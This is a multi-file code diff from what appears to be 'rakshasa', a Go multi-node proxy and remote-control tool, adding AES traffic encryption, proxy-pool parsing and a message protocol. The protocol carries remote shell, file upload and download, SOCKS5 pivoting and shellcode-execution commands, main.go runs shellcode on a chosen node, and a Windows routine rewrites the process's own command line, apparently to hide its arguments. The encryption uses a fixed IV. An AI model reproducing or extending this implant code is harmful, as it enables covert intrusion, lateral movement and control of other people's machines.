X509PublicKey, err := x509.MarshalPKIXPublicKey(&publicKey)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
//pem格式编码
|
||||
//创建用于保存公钥的文件
|
||||
publicFile, err := os.Create("../cert/public.pem")
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
defer publicFile.Close()
|
||||
//创建一个pem.Block结构体对象
|
||||
publicBlock := pem.Block{Type: "RSA Public Key", Bytes: X509PublicKey}
|
||||
//保存到文件
|
||||
pem.Encode(publicFile, &publicBlock)
|
||||
}
|
||||
|
||||
|
||||
@@ -4,10 +4,13 @@ go 1.16
|
||||
|
||||
replace github.com/abiosoft/readline => ./readline
|
||||
|
||||
replace cert => ./cert
|
||||
|
||||
require (
|
||||
cert v0.0.0-00010101000000-000000000000
|
||||
github.com/abiosoft/readline v0.0.0-20180607040430-155bce2042db
|
||||
github.com/creack/pty v1.1.18
|
||||
github.com/dlclark/regexp2 v1.7.0
|
||||
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40 // indirect
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/luyu6056/ishell v1.0.1
|
||||
github.com/mattn/go-colorable v0.1.12 // indirect
|
||||
|
||||
@@ -13,8 +13,8 @@ github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dlclark/regexp2 v1.7.0 h1:7lJfhqlPssTb1WQx4yvTHN0uElPEv52sbaECrAQxjAo=
|
||||
github.com/dlclark/regexp2 v1.7.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
|
||||
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40 h1:OgoboV484kN/ngW4apHvSw8iy9YhhQusAKSLT8nGl94=
|
||||
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40/go.mod h1:Gdtd77IQrjXqFfiourWpNnE1jDPC4opZPDPxPLWFlr0=
|
||||
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
|
||||
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"cert"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
_ "net/http/pprof"
|
||||
"rakshasa/aes"
|
||||
"rakshasa/cert"
|
||||
"rakshasa/common"
|
||||
"rakshasa/httppool"
|
||||
"rakshasa/server"
|
||||
@@ -108,7 +108,7 @@ func main() {
|
||||
server.SetConfig(config)
|
||||
|
||||
//设置一下秘钥
|
||||
aes.Key = aes.MD5_B(config.Password + string(cert.PublicKey[:16]))
|
||||
aes.Key = aes.MD5_B(config.Password + string(cert.RsaPrivateKey[:16]))
|
||||
//初始化node
|
||||
server.InitCurrentNode()
|
||||
|
||||
@@ -133,7 +133,7 @@ func main() {
|
||||
if *shellCode != "" {
|
||||
server.RunShellcodeWithDst(*dstNode, *shellCode, *shellCodeXorKey, *shellCodeParam, *shellCodeTimeout)
|
||||
}
|
||||
if err := server.StartServer(fmt.Sprintf("%s:%d", config.ListenIp, config.Port)); err != nil {
|
||||
if err := server.StartServer(fmt.Sprintf(":%d", config.Port)); err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
package aes
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
)
|
||||
|
||||
func AesCfbNewEncrypSteam() cipher.Stream {
|
||||
block, _ := aes.NewCipher(Key)
|
||||
iv := bytes.Repeat([]byte("1"), block.BlockSize())
|
||||
|
||||
return cipher.NewCFBEncrypter(block, iv)
|
||||
}
|
||||
func AesCfbNewDecrypSteam() cipher.Stream {
|
||||
block, _ := aes.NewCipher(Key)
|
||||
iv := bytes.Repeat([]byte("1"), block.BlockSize())
|
||||
|
||||
return cipher.NewCFBDecrypter(block, iv)
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package aes
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/md5"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var Key []byte
|
||||
|
||||
func AesCtrEncrypt(dst, plainText []byte) []byte {
|
||||
//1. 创建cipher.Block接口
|
||||
block, _ := aes.NewCipher(Key)
|
||||
|
||||
//2. 创建分组模式,在crypto/cipher包中
|
||||
iv := bytes.Repeat([]byte("1"), block.BlockSize())
|
||||
stream := cipher.NewCTR(block, iv)
|
||||
//3. 加密
|
||||
|
||||
stream.XORKeyStream(dst, plainText)
|
||||
|
||||
return dst
|
||||
}
|
||||
|
||||
func AesCtrDecrypt(encryptData []byte) []byte {
|
||||
data := make([]byte, len(encryptData))
|
||||
return AesCtrEncrypt(data, encryptData)
|
||||
}
|
||||
|
||||
const hextable = "0123456789abcdef"
|
||||
|
||||
func MD5_B(str string) []byte {
|
||||
dst := make([]byte, 32)
|
||||
for k, v := range md5.Sum(Str2bytes(str)) {
|
||||
dst[k*2] = hextable[v>>4]
|
||||
dst[k*2+1] = hextable[v&0x0f]
|
||||
}
|
||||
return dst
|
||||
}
|
||||
func Str2bytes(s string) []byte {
|
||||
x := (*[2]uintptr)(unsafe.Pointer(&s))
|
||||
h := [3]uintptr{x[0], x[1], x[1]}
|
||||
return *(*[]byte)(unsafe.Pointer(&h))
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"regexp"
|
||||
|
||||
"net"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type Addr struct {
|
||||
scheam string
|
||||
user, passwd string
|
||||
ip string
|
||||
port int
|
||||
httpAuthorizationHeader string
|
||||
}
|
||||
|
||||
func ParseAddr(str string) (cfg *Addr, err error) {
|
||||
defer func() {
|
||||
if cfg != nil && cfg.user != "" && cfg.passwd != "" {
|
||||
cfg.httpAuthorizationHeader = fmt.Sprintf("Proxy-Authorization: Basic %s", base64.URLEncoding.EncodeToString([]byte(cfg.user+":"+cfg.passwd)))
|
||||
|
||||
}
|
||||
|
||||
}()
|
||||
r, _ := regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`)
|
||||
m := r.FindAllStringSubmatch(str, 1)
|
||||
|
||||
if m != nil {
|
||||
|
||||
addr, err := net.ResolveTCPAddr("tcp", m[0][4]+":"+m[0][5])
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误 " + m[0][4] + ":" + m[0][5] + " 不是有效的 地址:端口")
|
||||
}
|
||||
return &Addr{
|
||||
scheam: m[0][1],
|
||||
user: m[0][2],
|
||||
passwd: m[0][3],
|
||||
ip: m[0][4],
|
||||
port: addr.Port,
|
||||
}, nil
|
||||
}
|
||||
r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`)
|
||||
m = r.FindAllStringSubmatch(str, 1)
|
||||
|
||||
if m != nil {
|
||||
|
||||
port, _ := strconv.Atoi(m[0][4])
|
||||
return &Addr{
|
||||
scheam: m[0][1],
|
||||
user: m[0][2],
|
||||
passwd: m[0][3],
|
||||
ip: "",
|
||||
port: port,
|
||||
}, nil
|
||||
}
|
||||
r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)$`)
|
||||
m = r.FindAllStringSubmatch(str, 1)
|
||||
|
||||
if m != nil {
|
||||
|
||||
addr, err := net.ResolveTCPAddr("tcp", m[0][2]+":"+m[0][3])
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误 " + m[0][1] + ":" + m[0][2] + " 不是有效的 地址:端口")
|
||||
}
|
||||
|
||||
return &Addr{
|
||||
scheam: m[0][1],
|
||||
user: "",
|
||||
passwd: "",
|
||||
ip: m[0][2],
|
||||
port: addr.Port,
|
||||
}, nil
|
||||
}
|
||||
|
||||
port, err := strconv.Atoi(str)
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误,请按照 用户名:密码@地址:端口 的方式填写,或者 用户名:密码@端口 或者 ip:端口 或者 只有端口")
|
||||
}
|
||||
return &Addr{port: port}, nil
|
||||
}
|
||||
func (c *Addr) IP() string {
|
||||
return c.ip
|
||||
}
|
||||
func (c *Addr) Addr() string {
|
||||
return fmt.Sprintf("%s:%d", c.ip, c.port)
|
||||
}
|
||||
func (c *Addr) Port() string {
|
||||
return fmt.Sprintf("%d", c.port)
|
||||
}
|
||||
func (c *Addr) String() string {
|
||||
if c.user == "" && c.passwd == "" {
|
||||
if c.ip == "" {
|
||||
return fmt.Sprintf("%d", c.port)
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%s%s:%d", c.scheam, c.ip, c.port)
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%s%s:%s@%s:%d", c.scheam, c.user, c.passwd, c.ip, c.port)
|
||||
}
|
||||
func (c *Addr) GetHttpAuthorizationHeader() string {
|
||||
return c.httpAuthorizationHeader
|
||||
}
|
||||
func (c *Addr) User() string {
|
||||
return c.user
|
||||
}
|
||||
func (c *Addr) Password() string {
|
||||
return c.passwd
|
||||
}
|
||||
func (c *Addr) Scheam() string {
|
||||
return c.scheam
|
||||
}
|
||||
func (c *Addr) HttpUrl() string {
|
||||
return "http://" + c.Addr()
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
package common
|
||||
func ChangeArg(param string) {
|
||||
|
||||
//linux暂不支持
|
||||
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
//go:build linux || darwin
|
||||
// +build linux darwin
|
||||
|
||||
package common
|
||||
|
||||
func ChangeArg(param string) {
|
||||
|
||||
//linux暂不支持
|
||||
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package common
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func ChangeArg(param string) {
|
||||
|
||||
if kernel32, err := syscall.LoadDLL("Kernel32.dll"); err == nil {
|
||||
if GetCommandLineA, err := kernel32.FindProc("GetCommandLineW"); err == nil {
|
||||
u, _, _ := GetCommandLineA.Call()
|
||||
|
||||
u16, _ := syscall.UTF16FromString(param)
|
||||
|
||||
for k, v := range u16 {
|
||||
*(*byte)(unsafe.Pointer(u + uintptr(k*2+0))) = byte(v)
|
||||
*(*byte)(unsafe.Pointer(u + uintptr(k*2+1))) = byte(v >> 8)
|
||||
}
|
||||
|
||||
*(*uint16)(unsafe.Pointer(u + uintptr(len(u16)*2+1))) = 0
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,325 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/google/uuid"
|
||||
"math/rand"
|
||||
"net"
|
||||
"rakshasa_lite/aes"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
const UUID_LEN = 16
|
||||
|
||||
var BroadcastUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0xff}, UUID_LEN))
|
||||
var NoneUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0x00}, UUID_LEN))
|
||||
var EnableTermVt bool
|
||||
|
||||
// 数据包结构 包长(2byte)UUID+UUID+MsgId+Ttl+cmd包
|
||||
type Msg struct {
|
||||
From string
|
||||
To string
|
||||
MsgId uint32
|
||||
Ttl uint8
|
||||
CmdOpteion uint8
|
||||
CmdId uint32
|
||||
CmdData []byte
|
||||
}
|
||||
|
||||
const (
|
||||
MAX_PLAINTEXT = 16384 - 2 - UUID_LEN*2 - 4 - 1 - 5 //不包含headlen
|
||||
MAX_PACKAGE = 0xffff - UUID_LEN*2 - 4 - 1 - 5
|
||||
INIT_WINDOWS_SIZE = MAX_PLAINTEXT * 20
|
||||
WRITE_DEADLINE = time.Second * 5
|
||||
CMD_TIMEOUT = time.Second * 10
|
||||
)
|
||||
|
||||
// 大数据包格式,(CMD+fd)headlen+内容,不超过MaxPlaintext,使用tls自动分包
|
||||
const (
|
||||
CMD_NONE = iota
|
||||
CMD_CONNECT_BYIDADDR //请求id, 格式newWork(1byte)+负载
|
||||
CMD_CONNECT_BYIDADDR_RESULT //返回id
|
||||
CMD_DELETE_CONNID //删除fd资源
|
||||
CMD_CONN_MSG //发送消息,格式windows(8byte)+负载
|
||||
CMD_CONN_UDP_MSG //udp数据包
|
||||
|
||||
CMD_NODE_RESTART //删除所有
|
||||
CMD_WINDOWS_UPDATE // 增加窗口值
|
||||
CMD_PING //请求ping
|
||||
CMD_PONG //返回pong
|
||||
CMD_PING_LISTEN //bind和remoteSocke5用,type(1byte)+id(4byte)
|
||||
CMD_PING_LISTEN_RESULT
|
||||
CMD_REG //通过本地注册
|
||||
CMD_REG_RESULT //节点端注册
|
||||
CMD_REMOTE_REG //通过远程服务器注册
|
||||
CMD_REMOTE_REG_RESULT
|
||||
CMD_GET_CURRENT_NODE //特殊指令,节点丢失后,查询节点
|
||||
CMD_GET_CURRENT_NODE_RESULT
|
||||
CMD_GET_NODE //获取节点列表
|
||||
CMD_GET_NODE_RESULT
|
||||
CMD_ADD_NODE //新增节点
|
||||
CMD_LISTEN //监听
|
||||
CMD_LISTEN_RESULT
|
||||
CMD_DELETE_LISTEN
|
||||
CMD_CONNECT_BYID //连接
|
||||
CMD_DELETE_LISTENCONN_BYID
|
||||
CMD_REMOTE_SOCKS5 //
|
||||
//CMD_REMOTE_SOCKS5_RESULT
|
||||
CMD_PWD
|
||||
CMD_PWD_RESULT
|
||||
CMD_DIR
|
||||
CMD_DIR_RESULT
|
||||
CMD_CD
|
||||
CMD_CD_RESULT
|
||||
CMD_UPLOAD
|
||||
CMD_UPLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=进度
|
||||
CMD_DOWNLOAD
|
||||
CMD_DOWNLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=size包,2=数据包
|
||||
CMD_SHELL
|
||||
CMD_SHELL_DATA
|
||||
CMD_SHELL_RESULT
|
||||
CMD_RUN_SHELLCODE
|
||||
CMD_RUN_SHELLCODE_RESULT
|
||||
)
|
||||
|
||||
var CmdToName = map[uint8]string{
|
||||
CMD_NONE: "CMD_NONE",
|
||||
CMD_CONNECT_BYIDADDR: "CMD_CONNECT_BYIDADDR",
|
||||
CMD_CONNECT_BYIDADDR_RESULT: "CMD_CONNECT_BYIDADDR_RESULT",
|
||||
CMD_DELETE_CONNID: "CMD_DELETE_CONNID",
|
||||
CMD_CONN_MSG: "CMD_CONN_MSG",
|
||||
CMD_CONN_UDP_MSG: "CMD_CONN_UDP_MSG",
|
||||
CMD_NODE_RESTART: "CMD_NODE_RESTART",
|
||||
CMD_WINDOWS_UPDATE: "CMD_WINDOWS_UPDATE",
|
||||
CMD_PING: "CMD_PING",
|
||||
CMD_PONG: "CMD_PONG",
|
||||
CMD_PING_LISTEN: "CMD_PING_LISTEN",
|
||||
CMD_PING_LISTEN_RESULT: "CMD_PING_LISTEN_RESULT",
|
||||
CMD_REG: "CMD_REG",
|
||||
CMD_REG_RESULT: "CMD_REG_RESULT",
|
||||
CMD_REMOTE_REG: "CMD_REMOTE_REG",
|
||||
CMD_REMOTE_REG_RESULT: "CMD_REMOTE_REG_RESULT",
|
||||
CMD_GET_CURRENT_NODE: "CMD_GET_CURRENT_NODE",
|
||||
CMD_GET_CURRENT_NODE_RESULT: "CMD_GET_CURRENT_NODE_RESULT",
|
||||
CMD_GET_NODE: "CMD_GET_NODE",
|
||||
CMD_GET_NODE_RESULT: "CMD_GET_NODE_RESULT",
|
||||
CMD_ADD_NODE: "CMD_ADD_NODE",
|
||||
CMD_LISTEN: "CMD_LISTEN",
|
||||
CMD_LISTEN_RESULT: "CMD_LISTEN_RESULT",
|
||||
CMD_DELETE_LISTEN: "CMD_DELETE_LISTEN",
|
||||
CMD_CONNECT_BYID: "CMD_CONNECT_BYID",
|
||||
CMD_DELETE_LISTENCONN_BYID: "CMD_DELETE_LISTEN_CONN_BYID",
|
||||
CMD_REMOTE_SOCKS5: "CMD_REMOTE_SOCKS5",
|
||||
//CMD_REMOTE_SOCKS5_RESULT: "CMD_REMOTE_SOCKS5_RESULT",
|
||||
CMD_PWD: "CMD_PWD",
|
||||
CMD_PWD_RESULT: "CMD_PWD_RESULT",
|
||||
CMD_DIR: "CMD_DIR",
|
||||
CMD_DIR_RESULT: "CMD_DIR_RESULT",
|
||||
CMD_CD: "CMD_CD",
|
||||
CMD_CD_RESULT: "CMD_CD_RESULT",
|
||||
CMD_UPLOAD: "CMD_UPLOAD",
|
||||
CMD_UPLOAD_RESULT: "CMD_UPLOAD_RESULT",
|
||||
CMD_DOWNLOAD: "CMD_DOWNLOAD",
|
||||
CMD_DOWNLOAD_RESULT: "CMD_DOWNLOAD_RESULT",
|
||||
CMD_SHELL: "CMD_SHELL",
|
||||
CMD_SHELL_DATA: "CMD_SHELL_DATA",
|
||||
CMD_SHELL_RESULT: "CMD_SHELL_RESULT",
|
||||
CMD_RUN_SHELLCODE: "CMD_RUN_SHELLCODE",
|
||||
CMD_RUN_SHELLCODE_RESULT: "CMD_RUN_SHELLCODE_RESULT",
|
||||
}
|
||||
|
||||
type NetWork byte
|
||||
|
||||
const (
|
||||
_ NetWork = iota
|
||||
SOCKS5_CMD_CONNECT
|
||||
// CmdBind is bind command
|
||||
SOCKS5_CMD_BIND
|
||||
// CmdUDP is UDP command
|
||||
SOCKS5_CMD_UDP
|
||||
|
||||
RAW_TCP
|
||||
|
||||
RAW_TCP_WITH_PROXY
|
||||
)
|
||||
|
||||
// 符合Server调用的接口
|
||||
type Server interface {
|
||||
ID() uint32
|
||||
Write(buf []byte)
|
||||
DeleteFd(fd [2]byte)
|
||||
FdLoad(fd [2]byte) bool
|
||||
FdStore(fd [2]byte, c Conn)
|
||||
Close(string)
|
||||
AddrList() string
|
||||
}
|
||||
|
||||
const (
|
||||
CONN_STATUS_OK = iota
|
||||
CONN_STATUS_CLOSE
|
||||
)
|
||||
|
||||
// 符合Conn调用的接口
|
||||
type Conn interface {
|
||||
Write([]byte) //会将部分消息原样不动发回去
|
||||
Close(string)
|
||||
}
|
||||
type Close interface {
|
||||
Close(string)
|
||||
}
|
||||
|
||||
var globalID1, globalID2 uint32
|
||||
var GetIDLock sync.Mutex
|
||||
|
||||
func GetID() uint32 {
|
||||
return atomic.AddUint32(&globalID1, 1)
|
||||
}
|
||||
|
||||
func GetConnID() uint32 {
|
||||
return atomic.AddUint32(&globalID2, 1)
|
||||
}
|
||||
func init() {
|
||||
rand.Seed(time.Now().Unix())
|
||||
|
||||
}
|
||||
|
||||
type RegMsg struct {
|
||||
UUID string //当前机器uuid
|
||||
RegAddr string //远程连接的addr
|
||||
Hostname string //当前机器名称
|
||||
Goos string
|
||||
ViaUUID string
|
||||
Err string
|
||||
MainIp string
|
||||
Port string
|
||||
}
|
||||
|
||||
var msgId uint32
|
||||
|
||||
func (m *Msg) Marshal() []byte {
|
||||
l := UUID_LEN*2 + 4 + 1 + 5 + len(m.CmdData)
|
||||
data := make([]byte, l+2)
|
||||
data1 := make([]byte, l+2)
|
||||
data1[0] = byte(l)
|
||||
data1[1] = byte(l >> 8)
|
||||
uf, _ := uuid.Parse(m.From)
|
||||
ut, _ := uuid.Parse(m.To)
|
||||
bf, _ := uf.MarshalBinary()
|
||||
bt, _ := ut.MarshalBinary()
|
||||
copy(data[2:], bf)
|
||||
copy(data[2+UUID_LEN:], bt)
|
||||
b := 2 + 2*UUID_LEN
|
||||
if m.MsgId == 0 { //id不为0
|
||||
m.MsgId = atomic.AddUint32(&msgId, 1)
|
||||
}
|
||||
data[b] = byte(m.MsgId)
|
||||
data[b+1] = byte(m.MsgId >> 8)
|
||||
data[b+2] = byte(m.MsgId >> 16)
|
||||
data[b+3] = byte(m.MsgId >> 24)
|
||||
data[b+4] = m.Ttl
|
||||
data[b+5] = m.CmdOpteion
|
||||
data[b+6] = byte(m.CmdId)
|
||||
data[b+7] = byte(m.CmdId >> 8)
|
||||
data[b+8] = byte(m.CmdId >> 16)
|
||||
data[b+9] = byte(m.CmdId >> 24)
|
||||
copy(data[2+2*UUID_LEN+4+1+5:], m.CmdData)
|
||||
aes.AesCtrEncrypt(data1[2:], data[2:])
|
||||
return data1
|
||||
}
|
||||
func UnmarshalMsg(data []byte) (msg *Msg) {
|
||||
if len(data) < 2*UUID_LEN+4+1+5 {
|
||||
return
|
||||
}
|
||||
msg = &Msg{}
|
||||
uf, _ := uuid.FromBytes(data[:UUID_LEN])
|
||||
ut, _ := uuid.FromBytes(data[UUID_LEN : 2*UUID_LEN])
|
||||
msg.From = uf.String()
|
||||
msg.To = ut.String()
|
||||
b := 2 * UUID_LEN
|
||||
|
||||
msg.MsgId = uint32(data[b]) | uint32(data[b+1])<<8 | uint32(data[b+2])<<16 | uint32(data[b+3])<<24
|
||||
msg.Ttl = data[b+4]
|
||||
|
||||
msg.CmdOpteion = data[b+5]
|
||||
msg.CmdId = uint32(data[b+6]) | uint32(data[b+7])<<8 | uint32(data[b+8])<<16 | uint32(data[b+9])<<24
|
||||
msg.CmdData = data[b+10:]
|
||||
|
||||
return
|
||||
}
|
||||
func ExternalIP() (net.IP, error) {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, iface := range ifaces {
|
||||
if iface.Flags&net.FlagUp == 0 {
|
||||
continue // interface down
|
||||
}
|
||||
if iface.Flags&net.FlagLoopback != 0 {
|
||||
continue // loopback interface
|
||||
}
|
||||
addrs, err := iface.Addrs()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, addr := range addrs {
|
||||
ip := getIpFromAddr(addr)
|
||||
if ip == nil {
|
||||
continue
|
||||
}
|
||||
return ip, nil
|
||||
}
|
||||
}
|
||||
return nil, errors.New("connected to the network?")
|
||||
}
|
||||
|
||||
// 获取ip
|
||||
func getIpFromAddr(addr net.Addr) net.IP {
|
||||
var ip net.IP
|
||||
switch v := addr.(type) {
|
||||
case *net.IPNet:
|
||||
ip = v.IP
|
||||
case *net.IPAddr:
|
||||
ip = v.IP
|
||||
}
|
||||
if ip == nil || ip.IsLoopback() {
|
||||
return nil
|
||||
}
|
||||
ip = ip.To4()
|
||||
if ip == nil {
|
||||
return nil // not an ipv4 address
|
||||
}
|
||||
|
||||
return ip
|
||||
}
|
||||
func ResolveTCPAddr(str string) ([]string, error) {
|
||||
dst := strings.Split(str, ",")
|
||||
for i := len(dst) - 1; i >= 0; i-- {
|
||||
addr := dst[i]
|
||||
if addr == "" {
|
||||
dst = append(dst[:i], dst[i+1:]...)
|
||||
} else {
|
||||
if _, err := net.ResolveTCPAddr("tcp", addr); err != nil {
|
||||
if i > 0 {
|
||||
r, _ := regexp.Compile(`^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}`)
|
||||
match := r.MatchString(addr)
|
||||
if !match {
|
||||
return nil, fmt.Errorf("参数错误 格式为\"ip:端口\",多个地址以逗号隔开,错误详情%v", err)
|
||||
}
|
||||
} else {
|
||||
return nil, fmt.Errorf("参数错误 格式为\"ip:端口,第二个地址可以是UUID\",多个地址以逗号隔开,错误详情%v", err)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return dst, nil
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package common
|
||||
|
||||
type Config struct {
|
||||
DstNode []string //-d 上级节点
|
||||
Password string //通讯密码,可为空
|
||||
Port int //默认8883
|
||||
ListenIp string //指定公网ip,其他节点进行额外节点连接时候,尝试连接的ip
|
||||
Limit bool //禁止额外连接,只连接-d节点,不会尝试连接其他节点
|
||||
FileName string
|
||||
FileSave bool `yaml:"-"`
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"github.com/creack/pty"
|
||||
"os"
|
||||
)
|
||||
func SetConsoleVT() {}
|
||||
func GetSize() *pty.Winsize {
|
||||
size, _ := pty.GetsizeFull(os.Stdin)
|
||||
return size
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
//go:build linux || darwin
|
||||
// +build linux darwin
|
||||
|
||||
package common
|
||||
|
||||
import (
|
||||
"github.com/creack/pty"
|
||||
"os"
|
||||
)
|
||||
|
||||
func SetConsoleVT() {}
|
||||
func GetSize() *pty.Winsize {
|
||||
size, _ := pty.GetsizeFull(os.Stdin)
|
||||
return size
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
package common
|
||||
@@ -0,0 +1,13 @@
|
||||
module rakshasa_lite
|
||||
|
||||
go 1.16
|
||||
|
||||
replace cert => ../cert
|
||||
|
||||
require (
|
||||
cert v0.0.0-00010101000000-000000000000 // indirect
|
||||
github.com/creack/pty v1.1.18
|
||||
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40
|
||||
github.com/google/uuid v1.3.0
|
||||
gopkg.in/yaml.v3 v3.0.1
|
||||
)
|
||||
@@ -0,0 +1,12 @@
|
||||
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
|
||||
github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/dlclark/regexp2 v1.8.1 h1:6Lcdwya6GjPUNsBct8Lg/yRPwMhABj269AAzdGSiR+0=
|
||||
github.com/dlclark/regexp2 v1.8.1/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
|
||||
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40 h1:OgoboV484kN/ngW4apHvSw8iy9YhhQusAKSLT8nGl94=
|
||||
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40/go.mod h1:Gdtd77IQrjXqFfiourWpNnE1jDPC4opZPDPxPLWFlr0=
|
||||
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
@@ -0,0 +1,63 @@
|
||||
package httppool
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"rakshasa_lite/common"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
type HttpPool struct {
|
||||
r *bufio.Reader
|
||||
f *os.File
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func HttpPoolInit(file string) (*HttpPool, error) {
|
||||
f, err := os.Open(file)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("打开http代理池文件 %s 失败", file)
|
||||
}
|
||||
p := &HttpPool{
|
||||
r: bufio.NewReader(f),
|
||||
f: f,
|
||||
Mutex: sync.Mutex{},
|
||||
}
|
||||
if _, err = p.do_next(0); err != nil {
|
||||
return nil, fmt.Errorf("无法从%s文件获取代理,错误%v", file, err)
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
func (p *HttpPool) Next() *common.Addr {
|
||||
addr, _ := p.do_next(0)
|
||||
return addr
|
||||
}
|
||||
func (p *HttpPool) do_next(n int) (*common.Addr, error) {
|
||||
if n > 100 {
|
||||
return nil, errors.New("重试错误次数过多")
|
||||
}
|
||||
p.Lock()
|
||||
line, err := p.r.ReadString(10)
|
||||
if err == io.EOF {
|
||||
p.f.Seek(0, 0)
|
||||
p.r.Reset(p.f)
|
||||
p.Unlock()
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
p.Unlock()
|
||||
line = strings.TrimRight(line, "\n")
|
||||
line = strings.TrimRight(line, "\r")
|
||||
|
||||
if len(line) == 0 {
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
addr, err := common.ParseAddr(line)
|
||||
if err != nil {
|
||||
return p.do_next(n + 1)
|
||||
}
|
||||
return addr, nil
|
||||
}
|
||||
@@ -0,0 +1,175 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"cert"
|
||||
